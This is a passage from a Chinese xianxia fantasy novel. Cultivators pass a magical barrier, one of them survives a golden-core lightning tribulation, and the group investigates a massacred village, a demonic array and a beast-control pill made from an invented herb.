战争持续了数年之久,直到最后,正道至强者——一位名为苍梧的渡劫大圆满结束了一切。
她在弱水河上燃烧元神,以死亡为代价,将魔域之主杀死,并驱逐魔修,至弱水以东。
此战赢得惨烈。
苍梧在死前,将自己所铸造的神器伏羲琴抛入弱水河中。
琴在此前的战斗中损坏,琴弦崩裂,七徽四散,不知所踪。
只有坚固的琴身落入河流,化作结界,庇佑正道。
而她本人,则回归诞生之地,在死后化作绵延的山脉,被后世称为苍梧山。
“伏羲琴乃昆仑神木所做而成,它的琴弦取自恶龙五筋,七徽来自灵脉精华,又受苍梧尊者的大道加持,是实打实的上古神器。”
陆听澜:“对邪魔有着天然的克制能力,一般的魔修对付不了。”
“神器啊……”叶涛则听美了,不禁畅想起来:“小禾,你说,等会咱们过弱水河时,神器会不会突然现身,说什么我是天纵奇才,然后认我为主?”
“……”
小禾直接推开这个男人。
旁边的陆听澜也顺势给了他一肘击,又提到:“不过化神期以上的强者确实有摧毁结界的能力。”
他回忆了一下:“大概在一百年前吧,大邑的魔君曾率魔兵突破结界,在正道边界上兴风作浪过一段时间。”
一百年前……
“啊。”
小禾听到这些话,头都大了:“那时候我外婆都还没出生呢。”
陆听澜失笑一声:“其实我也是听长辈提过一嘴。如果你想了解这件事,最好的办法是问秦道友。”
小禾疑惑:“为何漪姐会知道?”
“因为当时是我师祖出手镇压的。”
正此时,清冷淡声袭来,秦无漪白衣飘飘,平静作答。
她的师祖,是长黎山的剑阁阁主,也是天下少有的合体修士。
世称无极剑尊。
此人无情道大成,于长黎山坐镇时,四海之内,无人胆敢来犯。
也就是她在百年前,曾降临正道边界,以一己之力拔剑阻挡魔修入侵。
此举振奋人心,激励了原本生活在边界的修士,许多人升起信心,加入抵抗魔修的队伍。
最终,大邑魔君震怒,与无极剑尊在弱水河上厮杀。
那是惊天动地的一战。
强者伟力,使山脉倾塌,河水断流。
而战争的结果,是大邑魔君做出妥协,选择退回弱水河东岸,不再来犯。
秦无漪话尽,四周一片寂静。
隔了很久很久,才有个声音响起。
“无极?”
是楚袖云。
她:“你是她徒孙?”
12. 金丹雷劫
楚袖云好像只是顺嘴问了一句。
在得到肯定的回答后,眼神偏移了一瞬:“嗯……”
表情微妙。
见状,秦无漪心中微微一动,嘴比心快:“前辈认识我师祖?”
虽然楚袖云已和他们互通了姓名,但秦无漪还是习惯喊她前辈。
而现在,前辈摸摸鼻子,不假思索的回答:“没有。”
说罢,也不管其余人表情,又一个转身,眨眼功夫就消失了。
又跑。
秦无漪唰的站起身。
众修士只觉清风拂面,一阵风刮过,再定睛一看,原地哪里还有秦无漪的身影。
宽阔的过道上。
二人正在你追我赶。
楚袖云:“干嘛跟着我。”
秦无漪脚步飞快:“前辈回房间吗?”
楚袖云过了转角:“不回。”
“既然不回,”秦无漪顺势与她并肩而行,“咱们去吹吹风,看看风景可好?”
“小秦道友。”
楚袖云有些懒懒的:“你想问什么?”
秦无漪:“没什么想问的。”
反正问了,也不一定能得到真话。
只是秦无漪想不明白,她分明认识自己师祖,又为何要否认呢?
这应该也不是什么不能说的秘密吧?
小秦道友捉住楚袖云手臂:“只是想和前辈多相处一会。”
飞舟马上就要抵达弱水河,大家进入正道之后,便会就此四散分别,各回各家。
人与人短暂的相聚在一起,又各自分别,走上自己的道路。
秦无漪心中有微薄的不舍之情,她问道:“可以么?”
楚袖云并无所谓:“随便吧。”
飞舟庞大,过道宽敞,二人并肩行走,漫步至船尾。
船尾无人,视野很开阔,两位女修搭上栏杆,安静的吹着风。
云海在船下翻腾,如河水般流淌。
不远处,弱水河的轮廓越发清晰。
也就是此时,秦无漪才忽然意识到一件事。
“前辈,你能穿过结界吗?”
“嗯?”
楚袖云偏头,懒懒的看她一眼,显然是一副状况外的表情。
秦无漪严肃的皱起眉来。
就楚袖云的表现来看,她明显是对结界的特性一无所知。
她不知道自己无法通过结界,倘若届时被结界阻拦,她又会做出什么事呢?
秦无漪脑中窜出一个答案。
强闯。
而强闯的后果有三个,要么是结界破碎,要么是楚袖云失败,要么就是两败俱伤。
她的眉越拧越紧,一颗心几乎要跌进谷底。
“说话说一半。”
楚袖云等了半天不见下文:“发什么呆。”
对方蓦然回神,语气冷静,却似绷着一根弦:“前辈有所不知……”
她顿了顿,又一字一句,吐字清晰:“前方的结界,不能供筑基以上的修士通行。”
气氛瞬间安静。
双双静默中,楚袖云道:“是吗?”
在秦无漪默不作声,沉默严肃的表情中,心魔沉思:【好像是吧……】
【不对。】
它转念一想:【那我们之前是怎么进魔域的?】
“……”
楚袖云:“嗯……”
好问题。
楚袖云进入魔域的时间,要追溯到一百年前,那时她心魔丛生,意识混乱不堪,在此状况危机之际,被一个人带走。
此人叫谢缠。
是楚袖云唯一的弟子。
他突然出现,带走了痛苦的楚袖云。
二人日夜不辍,一同奔赴魔域,最后在边界被截杀。
大脑钝钝的,直发疼。
随着记忆片段浮起,楚袖云揉着胀痛的头部,看见支离破碎的画面。
“可惜无法再陪伴师父了。”
血濡湿了衣袍。
谢缠捂住洞穿的腹部,大口大口吐着鲜血。
剧痛令他浑身战栗,发抖,可他的眼神如此狂热、敬畏、期待。
“真遗憾……”
他是噬人的妖花,眉眼艳丽多情,神态妖异又纯良。
附耳以气音说话,声音小得如同在诉说秘密。
他说:“师父。”
“可惜我不能……”
“不能……”
话止于此,他住口。
没在说下去。
临死之际,他眼中没有恐惧。
天真、憧憬、向往。
犹如狂信徒。
在偏执疯狂中启动传送阵法,而后露出满足的笑。
【草。】
心魔:【所以咱们是被传送进来的。】
楚袖云:“嗯……”
心魔:【这么淡定,你有办法?】
【没有。】
楚袖云难得和它传音。
一句话却把魔耍得团团转。
【你够了。】心魔无语,【把我当狗耍?】
小蛇叽歪几句,又听楚袖云淡然道。
【我们本来不就能自由出入结界吗?】
蛇没反应过来:【什么呀?】
“结界由伏羲琴所化。”
在飞舟落地,抵达结界的时刻。
楚袖云抬手,电光闪烁,剑落入掌心。
名为如意的本命剑出现,其剑柄上镶嵌的琥珀色玉徽剔透。
那是灵脉精华。
是伏羲琴被摧毁时,四散崩裂,不知所踪的七徽。
它与结界同源,是天然的钥匙,能让人自由穿梭。
结界又如何能阻挡楚袖云的脚步呢?
此人勾笑,眉宇轻佻,有些风流。
【爹的……】
心魔隔了良久,才蹦出两个脏字。
它嫉妒到声音发抖,恨得咬牙切齿:【你是天道宠儿吧……】
激动心情难以言表。
众人陆陆续续下了飞舟,顺利的穿过结界,进入八圣境。
八圣境是正道地盘的统称,因为由八个受天地孕育而生的大境组成,所以大家都称之为八圣境。
八块大境的名字取自八卦,简称为:乾、兑、离、震、巽、坎、艮、坤。
此时他们进入的大境,就是和魔域接壤的艮山境。
此境多山脉,所以村落分散,几位修士商量了一番,又留了传讯方式,便以两位修士、七个凡人为一组,就此辞别队伍。
大家都踏上归途,小禾也即将归家。
她家中有等候她与兄长的母亲,自然不好多做停留。
“但漪姐你要等我啊。”
她恋恋不舍的拉着秦无漪的手:“为了让我娘安心,我要回家一趟。但我不会待很久,到时候我来找你噢!”
秦无漪含笑与之告别,目送大家离开,又转眼看向楚袖云。
对方正被叶兰驱纠缠。
“前辈。”
身为鹤端砚的弟子,叶兰驱觉得有必要要跟随师父的步伐,但他在楚袖云面前有些怂,哼哼唧唧道:“你能把我师父给放了吗?”
胆子小小。
梦想大大。
楚袖云钦佩他
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的勇气,回复:“不能。”
这种僵持不下的局面,还得秦无漪出马。
毕竟这二人当中,有位修士惯来不爱多做解释。
“你师父突破在即,前辈要带他离开,去渡雷劫。”
早在飞舟上时,秦无漪就发现鹤端砚灵力外渗,隐隐有突破迹象。
在明白这点后,她安抚叶兰驱的手段简直得心应手:“莫要担心,此去不过数日,他们还会回来的。”
真的吗?
叶兰驱是生怕鹤端砚一去不返,当即犹豫的用眼神示意。
“自然不会有假。”
秦无漪神色坦荡,极其肯定的回答他,又转头,与楚袖云对视。
她目若悬珠,明亮光彩,微笑道:“我说的对吧?前辈。”
臭丫头脑子转得飞快。
楚袖云微微眯眼,又蓦然笑起来,牙齿森白:“小秦道友,你可真聪明啊。”
被闹得没脾气。
楚袖云:“过几日就回来。”
说罢,便抱着人飞身离开。
想在艮山境内寻一处宝地并非难事。
离开不过半晌,楚袖云就寻到一处山洞。
洞的三面是石壁,顶部有孔,下方有泉。
此时天光狭窄,斜斜垂落一束日光,不偏不倚的照进灵泉,照得雾气柔白,光虚幻似泡影。
倒是极佳的闭关之所。
楚袖云将鹤端砚放入泉水中,他的身体便自发的开始运转周天,引气入体。
在隐隐呈现旋涡状的灵气里,楚袖云盘膝而坐,静静等待。
时日偏移,日月轮转,修士不知年月,眨眼间,便是三日后。
灵气愈发凝实,在空中呈现乳白色光芒。
光中,隐隐现出人影。
沉冷的剑鞘轻敲在肩头:“摸到屏障了吗?”
屏障……
什么屏障?
鹤端砚的意识还很模糊,朦胧间,低语声引导他运转周天,化气为己用,又顺着奇经八脉流淌,最终沉进丹田。
哗、哗。
灵力如潮水,拍打礁石。
鹤端砚终于摸到了屏障。
屏障无形,却像个罩子似的,阻碍着他力量的攀升,他调动灵力向那处涌去,一次、两次、三次……
数不清多少次的冲击,屏障终于被撞出裂纹。
咔擦。
随着破碎声响起,他缓缓睁眼。
五感从内视的状态下脱出,回归身躯的那一刻,他听到风云怒吼。
还有天旋地转的晕眩。
是女修在他没反应过来之前就跃入泉中,将人抱起往山洞外跑去。
她比他略高一些,大抵是高出半个头,鹤端砚被她抱起来时,下意识扶住对方肩膀,下巴抵到对方头顶,还有点懵:“怎么了?”
“好道友啊,自然是你的金丹雷劫。“
楚袖云将他放在空旷山谷,不太正经,笑眯眯的说了声你加油。
“抗完雷劫咱们就回城。”
“那山洞硬邦邦,一点也不好躺。”
此人拍拍他肩,说完便腾空而起,消失在他眼前。
空中的乌云开始聚集,黑得仿佛能滴出水来。
在布满天空的云层中,雷霆隐隐闪现,迸发璀璨金光。
劫雷将至,声音隆隆作响,激得人神魂战栗,皮肉发麻。
鹤端砚回过神来。
他缓缓站起,在天威的极致压迫下,灵力倾巢而出。
此人扬首,望向漆黑中的炽热雷光。
青眸明亮灿然。
“来。”
13. 三神陨落
金丹雷劫声势浩大。
楚袖云御空观望之际,有几位被动静吸引而来的修士已悄然将至。
艮山境靠近魔域,宗门甚少,即便有,规模很小,来者不过是三两位金丹,有的初期,有的中期,实力不够看。
她放出威压,无形的力量荡开,笼罩山谷,赶来的金丹们错愕止步,明白是大能护法,又识相的离开。
空中雷霆接二连三落下,照白了整片山谷。
雷劫可怖,但楚袖云没插手,她不认为鹤端砚会抗不过去。
事实也如她所料,很快,空中劫云散开,落下甘霖,滋润修士躯体。
血.肉再生,鹤端砚被甘霖笼罩,伤势一一恢复,唯有法衣碎得不成样子。
修士渡劫被劈碎法衣也是常态,楚袖云习以为常,从须弥芥子中掏出衣物,屈指弹出,罩住鹤端砚。
对方拢住,垂首一看,见是一套绣满鹤羽的法衣。
法衣涧石蓝色,略长,微微拖地。
还一看就是男装。
鹤端砚:“这是……”
能让楚袖云随身带着的,自然是道侣的东西。
可她又不傻,怎么敢直说,当即道:“我师兄的。”
很有求生欲。
鹤端砚没起疑,谢过她后,便整理起衣服来。
楚袖云的师兄应该比他高一些,法衣长了一点,但挽起来也还好。
他细致的理了半天,抬首时对上专注的双眼,楚袖云坐在一旁,托腮瞧他。
“好了?”
见鹤端砚停下动作,她便从石上跃下来:“那就先离开吧。”
双方拉近距离,自然而然的并肩,沿着山道向外走去。
来时,楚袖云是御空飞行。
现在离去,倒换成步行。
已是深秋,地面草木稀疏,二人漫步在山道间,于交谈中互通了姓名。
楚袖云。
鹤端砚默念这个名字,有些意外:“可是隐士高人?”
他的问题并非空穴来风。
因为在此前,他从未听过楚袖云的名讳。
对方绝对是强者,这点毋庸置疑。
以他如今的金丹境界,还是看不透对方的修为。这印证了,对方实力在自己之上,是个强悍的大能。
这类大能,按理来说,不会籍籍无名。
所以结论很好得出。
她要么是常年闭关,避世隐居之人。
要么,就压根没告诉鹤端砚自己的真名。
鹤端砚不愿怀疑她,于是选择第一种可能。
“差不多吧。”
这个问题也让楚袖云动了动闲置的大脑。
自身情况复杂,不好定性,她便简单解释道:“我游历修真界时,年岁尚浅,没传出名号。”
“之后也不活跃。在两百岁时,便选择闭关修行,沉寂四百余年,所以勉强算个避世之人。”
那就是六百来岁……
鹤端砚忍不住瞧她:“原来是前辈。”
楚袖云一时没绷住,笑出声来。
好玩。
真的好玩。
命运弄人,谁曾想,比她大上不少的师兄,还有唤自己前辈的一天。
她乐不可支,没占人便宜:“以同辈身份相称便可。”
双方在行走间闲谈,很快便离开山谷。
谷外是延绵的山脉,长达数百公里,其间夹杂着错落的村庄,因为正值黄昏,所以炊烟袅袅,稚童绕膝,你追我赶,欢欣笑声传来。
许是气氛宁静祥和,引得鹤端砚矗立,静静的观望一会。
但须臾,他微微蹙眉,发觉这村庄有些不对劲。
修士进阶金丹期后,五感拔高到了新的高度,此时,在他的视野中,一丝若有若无的邪气缭绕在村庄上方,只是转瞬即逝,人看不真切。
是错觉吗……
“你看,”鹤端砚对楚袖云道,“此地可有什么异样?”
楚袖云闻言,放开神识探去。
无形的力量荡开,村庄表面隐隐闪动波纹,无声消弭了神识的探查。
“确实有问题。”
楚袖云道:“有个隐匿法阵。”
隐匿法阵是一种用于规避侦查的法阵,最主要的功能是隐藏气息,不被他人感知到。
但一个普通平凡,甚至可以说是偏僻的村庄内,为何会设下这种阵法呢?
其中定有蹊跷。
鹤端砚打定主意去看看,转首看向楚袖云时,对方一副懒得掺和的模样。
他欲言又止:“我……”
“准备去看看吗?”
楚袖云自觉的牵住他的手:“那走吧。”
“……”
鹤端砚暗中用力,没抽出来:“好……”
有了新目标,二人也不再像刚才那般悠闲,当即动身,朝村庄赶去。
身影似云雾般划过,在郁郁葱葱的树林中穿行,不过片刻,村子的入口就近在眼前。
人离得近了,能看到家家户户围成一圈的木栅栏和敞开的家门。
童子在村口玩闹,穿着厚实的衣物嬉笑打闹,那些童稚笑声似银铃般响起。
肉眼看去,村内毫无异样。
他们走近村庄,在村口前被阵法拦住。
巨大透明的光罩亮起光芒,发出抵抗力量,阻挡了人的步伐。
楚袖云抬手,雷光闪动,阵法如受重创,在眨眼间暗淡下去。
而随着阵法失效,眼前景色如雾般消散,邪气再也掩盖不住,在空中盘旋飞舞。
而原本祥和的村庄,再度呈现在人眼前时,已是昏暗一片,陷入邪气笼罩中。
修士放眼望去,看到家家户户院前吊着长条状的东西。
鹤端砚走近,神色冷了下去。
是尸体。
是早已死去多日的尸体。
他们被鸟雀琢食得不成样子,露着森森白骨,还被悬吊在檐下。
风一吹,便晃荡起来。
吱呀。
吱呀。
绳索摩擦的声音在一片死寂中响起。
一个偌大的村庄,在眨眼间,竟然成了死地。
鹤端砚立即上前探查尸体,在尸体的胸腹、脖颈处发现撕咬痕迹。
那痕迹非人力能及,一看便知,是出自妖兽之口。
可满村倒吊的尸体,就绝非野兽行迹了。
而是人。
有人在驱使妖兽行凶。
可这人是谁?杀人的目的又是什么?
鹤端砚不得其解。
他环顾四周,试图寻找凶兽留下的脚印、痕迹和更多线索,可地面上除了凡人挣扎的痕迹与血迹外,便再无别的。
“是修士下的手。”
楚袖云从背后拢住他,下巴搁在人肩头,垂首看去:“之所以驱使妖兽行凶,是因为修士动手,会有灵气残留,容易被寻到踪迹。”
虽说修真界内,大部分修士秉持中立态度,视凡人如草木,不愿掺和其中。
但难保有修苍生道的派系,愿为凡人发声。
这个凶手便是不想惹祸上身,才没选择亲自出手。
而且,楚袖云估摸这人应该是个老手。
他做事周密,将自己的痕迹清理得很干净,不像没经验的人。
鹤端砚一边听她发言,一边思索,顺带着伸手将人缓缓推开。
他只觉得她越来越过分了。
拉手的事还没和她计较,现在又搂搂抱抱的,合适吗?
他们只是见过两面的关
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系!
“滥杀凡人,会承担庞大业力,渡劫时危险无比,常常九死一生。”鹤端砚在思索这个问题,“所以此人,冒着巨大的风险行事,是为了什么呢?”
他再度看向尸首,所有的尸体都呈现倒悬的样子。
尸首倒悬,这种姿势十分痛苦,在佛家释义里,往往代表人死后,魂魄会无法解脱,受沉沦之苦。
整个村庄的魂魄都无法入轮回,只能徘徊在死地,最终在怨念滋生下,形成这么一片邪气四溢的空间。
难不成……杀人的目的便是为了这些邪气么?
这个念头一闪而逝,反而激起更大的谜团。
或许对魔域中的魔修而言,邪气是上好的材料,他们可借此修炼邪功,养邪器,甚至是直接吞噬。
但能渡过弱水河,进入八圣境的魔修不是境界太低,就是境界太高。
弱者无法制造这种能欺骗金丹修士的阵法。
强者要杀人,也不必这般小心翼翼,又是掩盖邪气,又是消除痕迹。
说来说去,还是正道修士下手的可能性最大。
那么事件又走进死胡同了。
一个正道修士,汲取天地灵气便可修行,又何必大费周章,走邪魔歪道呢?
“会不会是献祭?”
楚袖云失去了贴贴的机会,只能无聊的摆弄对方手指:“我以往见过类似的,将人的尸首倒悬其实是一种仪式,用于与神灵沟通。”
“神灵……”
这两个字触及了鹤端砚的知识盲区:“世上有神灵吗?”
修士夺天地造化,自认超凡脱俗,本身就已经是能呼风唤雨的神灵。
但他看楚袖云的态度,竟是认可天地间有除却修士以外,真正有被冠以神灵之称的物种。
“有倒是有。”
楚袖云:“不过都死了。”
要提起神灵的来历,那真是说来话长。
传闻,天地间曾诞生三位神明,分别执掌时间、空间与因果。
他们诞生于虚无中,紧密的交织在一起,共同铸造了整个世界。
于是,天地初开,时间推移,产生日与月。
万物生灵,花草树木开始诞生,出现自我意识。
人族也在其中,他们渐渐开悟,于神灵身侧习得修炼之法。
此为,上古。
上古远在数万年前,而后随神灵死亡翻篇,跨入中古,又最终来到下古。
“大抵是三万年前,此地还有神灵生活。”
楚袖云算了算:“她们死去数万年之久,天地间早就没了痕迹,所以大多数人都不知道世间曾有神灵。”
至于楚袖云呢,则是早年间,在秘境得到机缘,才隐隐接触到这些,知晓一二。
不过再多的,她也不清楚了。
“所以这个献祭仪式,是为了和她们沟通吗?”
鹤端砚问。
“不是她们。”
楚袖云:“是另一位。”
“传闻三神陨落的原因,是因为世间恶念。”
楚袖云思索了好一会:“恶念化成魔神,天然克制神灵,才导致她们的消亡。”
“所以世上残留的神灵,只有一个,便是魔神。”
楚袖云提出一种猜测:“如果这邪气的最终目的是献祭的话,那便是为了复活魔神。”
神灵在陨落前,自然和魔神争斗过。
她们打散了魔神的躯体,让他裂解于天地间。
可魔神是恶念的聚集体,只要天地间源源不断的滋生出恶念,他迟早有回归的一天。
不过……
楚袖云自己否决了这个结论。
哪有那么巧,随随便便遇到的小事件,都和那种东西有关。
这不扯吗?
14. 邪阵阵眼
凭空猜测了半天。
最终二人还是选择先在村庄内仔细探查一番。
这一看,倒是让人发现了新东西。
阵眼。
那不是隐匿法阵的阵眼。
在探查过程中,楚袖云早就清理掉隐匿阵法,现在呈现在他们眼前的,是一个不断汲取邪气,泛着黑光的阵眼。
阵眼深埋在土里。
大地是承载之物,它是绝佳的,便于吸纳邪气的物件。
鹤端砚以剑划开污秽的泥土,在其中发现了一根六寸长短的长钉。
那长钉泛着黑光,死死钉在土地深处,贪婪的吸纳着邪气。
“找到阵眼,接下来毁掉便可。”
楚袖云站在一旁,没插手。
原因简单,因为长钉属金,正好克制她,她本能的厌恶,不愿意动手。
可是……
“你不是雷灵根吗?为什么会被金属性克制?”
鹤端砚十分好奇。
按照五行相克的定论,应该是金克木才对,可楚袖云是雷灵根,又为何会被金克制呢?
这个问题楚袖云自己也琢磨过:“我大概是以木生雷的那种,由木灵根异变成雷,所以金克我。”
很合理。
鹤端砚颔首,手中长剑骤出。
他剑上寒光闪闪,渡了层晶莹冰雪,与长钉相击。
咔擦。
一声脆响,长钉应声断裂,从中爆出汹涌的邪气,瞬间淹没二人。
在邪气中,盘旋飞舞着数十张似哭似笑的人脸,他们尖叫、哀嚎、凄厉大笑,声音刺耳至极。
与此同时,被袭击的鹤端砚眼前闪过杂乱扭曲的画面。
拖着断腿爬行的凡人……被啃食半张脸的稚童……以及从妖兽口中滴落的污血混杂涎水……
他头痛欲裂,又强迫自己从那诡异的共鸣中脱离,将灵力灌注于春雪长剑中。
随着剑气一闪,白光瞬间爆开,将邪气消弭。
日光重现,穿透云层,照在这片被邪气侵蚀的土地上。
身旁,楚袖云伸出食指,指尖雷蛇涌动,粉碎了余下的零星邪气。
“看到凶手了么?”
此人老神在在,似乎很清楚眼下的情况。
而在与怨魂共鸣的瞬间,鹤端砚确实在他们的记忆中看到凶手。
“确实是修士……”
他额角隐隐作痛,是被怨魂侵蚀灵台导致:“……戴着面具……穿……穿常服……身份不明……无法确定是散修还是宗门弟子……”
线索隐隐露头,又不太明确。
但也并非毫无办法。
眼下阵眼已破,无论对方的计划是什么,都已被摧毁。
凶手如果对此有感知的话,大概率会前来探查情况。
想到此处,鹤端砚引动体内灵力,使它们逸散出去,悄无声息的融入环境中。
届时,只要与之共鸣,便能清楚此地是否有异动。
他做完此事后,决定顺便调查一下,艮山境内有没有其他的类似事件,不过在此之前,他突然想起另一件事来:“我有一群同伴和我一起潜入魔域……”
“他们出来了。”
楚袖云:“传讯玉牌上,秦无漪应该给你留了讯息。”
果不其然。
鹤端砚一拿出玉牌,就看到一长串讯息。
【我与兰驱在镇岳城。】
这是秦无漪。
【师父师父,还没醒吗?】
【你好能睡啊……已经两天了……】
【还没回我……】
【不会是没扛过去吧……】
【不要啊……】
【师父……】
以上一连串的讯息,很明显出自叶兰驱。
他回了个讯息报平安,顺带提起了屠村的事,秦无漪那边很快回了消息,说是也有情况,准备和他见面详谈。
既然如此,那鹤端砚就不欲在此久待,打算和楚袖云先去镇岳城。
他问清了镇岳城的方位,估算了一下距离,发现有些远,如今赶回去,需要两个多时辰。
好在鹤端砚在进阶后,能御剑飞行,不然依靠双腿行走,还不知道要走到猴年马月。
他掐诀,春雪随心而动,静静的悬浮在空中。
说起来,在修行上,鹤端砚似乎格外上道,好似前世记忆没忘干净一样,驾轻就熟。
人似云雾般落在剑上,他垂首,瞧见楚袖云站于原地,笑眯眯的揣手瞧他。
“……”
无端的,鹤端砚明白了她的意思。
“上来吗?”
他伸手,对方大笑出声,借力跃上长剑。
鹤端砚只觉腰身一紧,是楚袖云顺势揽住他。
此人的下颚抵在他颈间,瞧人时,那双内勾外翘的眼睛弯起,如含着一汪微亮的池水,荡漾着碎光。
她笑道:“道友第一次御剑,要当心,别把我摔着了。”
楚袖云总有法子逗得人脸热心烫,鹤端砚招架不住,面上余热未消,轻声嗯了一声,便转过脸去。
灵剑很快腾空,化作一道流光,朝远处飞去。
入夜。
城门即将关闭,在守卫启动护城大阵之时,鹤端砚与楚袖云抵达镇岳城。
“师父啊,你终于来了。”
叶兰驱盼星星盼月亮,终于盼来了鹤端砚,他高兴的冲上去,看到楚袖云的时候还有些意外,和她打了个招呼,又对鹤端砚道:“咦?你换衣服啦?”
“嗯。”
鹤端砚:“这几日你和秦道友在一起?”
“是的。”
提到秦无漪,叶兰驱才想起正事,他带着二人回到下榻的客栈,人陆陆续续进了房间,然后瞧见一位意料之外的姑娘。
“砚哥。”
不大不小的茶室内,小禾与秦无漪盘坐在蒲团上,正高兴的朝他们挥手:“啊,还有前辈!”
她身旁还坐着个女童,瞧上去八九岁,模样怯生生的,瞧见有人来了,便飞快的缩到小禾身后。
小禾的突然造访,让人意外,显然是有新的状况。
而等人围坐好后,大家也不废话,选择直接步入正题。
秦无漪在之前,和鹤端砚传讯中说的情况,其实指的就是小禾与女童。
“阿宝是个孤儿。”
小禾娓娓道来:“她在不久前,流浪到我们村中,又被我娘收留。”
起初,小禾的母亲并不知道阿宝的身世,只是看这个小孩可怜,满身的泥土,脏兮兮的,也不知道从哪跑出来的。
她收留了小孩,在长达七日的相处中,对方终于鼓足勇气,和小禾母亲说了一个秘密。
“阿宝说,有怪物袭击了他们村子。”
小禾的脸色不复之前的轻松:“是一只狼。”
那是一个夜晚。
年幼的阿宝用过晚饭,便跑出家门,和玩伴们玩耍。
我们来躲猫猫吧。
玩伴兴奋的大喊,两眼放光。
孩
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童们比比划划,最终是阿宝抓人,她被推进村里的祠堂,在供奉着无极剑尊的人像下倒数。
十。
九。
八。
七。
小小的女孩没能数到六,就被凄厉的惨叫声打断,她吓了一跳,连忙跑到祠堂的大门后。
透过缝隙,她看到昔日熟悉的伯伯婶婶被咬断喉咙,血喷溅四射。
狼扑倒一个又一个村民,他们企图逃离村庄,但无论如何都出不去,所有人挤在村口,却被透明的罩子罩住,再怎么拼命挣扎,都无用。
生路近在咫尺,又远在天边。
阿宝颤抖着手脚,缩到人像脚边,战栗的等待死期。
但预料的死期没有降临。
修士放开神识,探查每一寸土地时,受百年香火供奉的人像焕发白光,笼罩阿宝。
她没被修士察觉。
“直到第二天天亮,阿宝才敢离开祠堂。”
小禾一面抚摸女孩干枯的头发,一面捂着她的耳朵:“和你们一样,她也看到了被倒吊的尸体,受了刺激,一路逃亡,不知怎么的,跑到我们村里……”
秦无漪接过话头:“我问过阿宝,她说,那头狼看起来有些癫狂,眼睛是猩红的,口涎里还有一种很特殊的香气,很浓。”
鹤端砚:“气味?”
秦无漪点头,从袖中取出一个药包展开。
雪白的粉末展现在众人眼中,秦无漪:“我循着阿宝的描述,在城中几家药铺问过,最后在‘玉兰汀’找到了这个。”
“乌羽飞兰的粉末。”
这种灵植,在座的没一个人知道是什么。
最后还是秦无漪解释道:“药铺老板和我说,这是艮山境的特产,是一种毒株,能致幻,可以用于制作御兽丹。”
“所以妖兽疯癫的原因在此。”鹤端砚,“它被喂养了致幻的御兽丹。”
“对。”
秦无漪点头:“乌羽飞兰的种植条件苛刻,所以整个镇岳城,只有玉兰汀能提供稳定的供货。”
线索陡然清晰!
叶兰驱眼睛一亮:“那我们只要知道哪些人经常购买这个,不就能找到嫌疑人了吗?”
“没错。”
秦无漪的效率奇高,早在下午和小禾谈完事后,就动身做了很多调查。
“我找了个由头和那老板打听,这也不是什么要紧的事,他就和我提了一嘴,说是这东西很少有人会买,还全是炼丹师。”
她凝神聚气,一行小字浮现在空中。
是采购过乌羽飞兰的四位丹师的姓名和宗门。
小禾:“也就是说,凶手很可能是这四人中的一个。”
叶兰驱拍案惊起,气势汹汹:“好!咱们一个个查!”
“只怕打草惊蛇。”秦无漪摇头,“我提议兵分四路,这样的效率还更高一些。”
众人并无异议,定下时间,准备明天一早便出门调查。
计划就此敲定,大家四散开来,有的在静室内打坐,有的去休息。
“我也要去?”
楚袖云抱臂盘坐,后仰问话,一头直接栽进鹤端砚怀里。
有点没想到,他们定计划,还要算上自己。
她才懒得给他们打工呢:“你们四个就够了。”
鹤端砚垂首思索间,捧住她脑袋:“那你和阿宝在客栈里待着,如何?”
没意思。
和小孩待在一块有什么劲儿。
楚袖云:“算了,我干活。”
15. 凌霄宗
“所以……”
次日傍晚。
一天的调查结束,大家在茶室碰面,各自交代了信息后,都有些沉默。
气氛安静了几息,然后秦无漪做出总结:“这四人都没有问题?”
“是的。”
小禾托腮困惑:“我找不出任务目标的破绽。”
在长达一整天的拜访和调查,他们将四位丹师的行动轨迹、炼丹记录,包括药童的口供都打探清楚了。
但事态陷入僵局。
因为所有的嫌疑人都没有异常,根本找不到错漏之处。
“难道是调查方向错了吗?”
叶兰驱纳闷地挠头,想不明白为何会这样。
原本以为,凶手会是丹师中的一人,但现在看来,这个猜测似乎不太对。
室内再次陷入沉默。
每个人都在运转大脑,飞快的思索,想找到被自己遗漏的线索。
但无果。
所以会是他们的调查方向错了么?
乌羽飞兰、御兽丹、玉兰汀……
这个思路是符合逻辑的,至少没偏离大方向……
可如果思路正确,那就是其中的某个环节出错了。
鹤端砚问:“你确定只有这四人能拿到乌羽飞兰吗?”
什么意思?
秦无漪思索:“你认为店铺老板对我们有所隐瞒?实际上还有别的购买者?”
“这种可能性应该不大。”
秦无漪仔细回想她当时去和老板交涉时,对方的表现:“他听到乌羽飞兰时,没有紧张情绪,对我的问题也不含糊,十分爽快的回答了,我不认为他有意隐瞒。”
“种植乌羽飞兰的药圃规模不小,四位常客的购买量也不大。”
一天的时间,想摸清这些不是难事,鹤端砚又问:“那剩下的产出去哪了呢?”
秦无漪一愣,立马反应过来,神情严肃:“对,你说得对,还有很大的一笔消耗不知去向!”
她唰的起身,似乎是急着去寻找答案,但又立马意识到问题——老板从未告诉她关于这一笔消耗的事情。
有两个可能,一是之前猜测的,他有意隐瞒。
二呢?
“这是一笔稳定的开支。”
秦无漪沉吟:“丹师们的采购时间和数量都不固定,所以这片药圃本身也不是为他们种植的,而是为某个需求固定的常客。”
很合理的推测。
众人觉得不无道理,可新的问题又出现了。
这只是猜测,根本不能证明!
难不成,明天又跑去店里和老板打探情况?
几个人愁眉不展,正此时,一直倚窗,支颐观望他们的楚袖云说话:“既如此,直接去翻账本不行吗?”
横竖不过是一间药材铺罢了。
她来去自如都不成问题,这群人到底在纠结什么?
“啊。”
秦无漪好似这才意识到她的存在,抬起头恍然道:“前辈所言极是。”
紧接着又摇头叹道:“可惜我等实力低微,没法破开账房的禁制,真遗憾。”
“……啧。”
楚袖云:“行了,我去。”
她说罢,便似轻烟般飞出窗外。
动作快得不像话,鹤端砚下意识抬首,只瞧见一截袍尾的残影划过,又很快融入夜色中。
窗外冷风拂动,吹得灯影摇曳,将人轻蹙的长眉照得分明,鹤端砚虽然知晓她的能力,但心底那缕愁思却一直挥之不去。
修真界浩瀚无垠,其中的阵法更是变幻万千,玄妙至极。
玉兰汀能在此立足百年,其账房设立的禁制绝非等闲,倘若楚袖云一时不察,被困其中,又如何是好?
他忧心于此,有意与同伴诉说,可等他开口说出心底的担忧后,秦无漪却露出了颇为奇怪的表情。
像是不理解他为何会这样想。
